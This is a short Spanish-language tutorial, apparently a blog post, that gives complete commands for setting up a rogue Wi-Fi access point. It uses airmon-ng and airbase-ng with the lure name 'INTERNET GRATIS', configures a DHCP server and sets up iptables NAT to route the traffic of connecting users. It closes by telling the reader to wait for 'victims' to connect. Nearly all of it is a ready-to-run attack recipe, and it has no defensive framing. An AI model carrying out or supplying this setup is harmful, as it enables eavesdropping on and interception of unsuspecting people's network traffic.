5. AP Falso
airmon-ng
airbase-ng
dhcpd3
nat (iptables) y la tarjeta eth0 conectada a internet
a) Instalar un servidor DHCP:
apt-get install dhcp3-server -y
mv /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.backup
vim /etc/dhcp3/dhcpd.conf
----------------------
ddns-update-style ad-hoc;
default-lease-time 600;
subnet 192.168.2.0 netmask 255.255.255.0 {
option subnet-mask 255.255.255.0;
option routers 192.168.2.1;
option domain-name-servers 8.8.8.8;
range 192.168.2.51 192.168.2.100;
}
-----------------------
b) poner la tarjeta en modo monitor
airmon-ng wlan0
c) iniciar un AP falso:
airbase-ng --essid "INTERNET GRATIS" -c 6 mon0
d) Configurar la interfaz at0 (AP falso) y agregar una ruta local a la red
ifconfig at0 up
ifconfig at0 192.168.2.1/24
route add -net 192.168.2.0 netmask 255.255.255.0 gw 192.168.2.1
e) Iniciar el servidor DHCP falso
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0
/etc/init.d/dhcpd3-server start
f) "NATEAR" el tráfico (asumiendo que la interfaz eth0 está conectada)
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
g) Esperar que las víctimas se conecten
Comments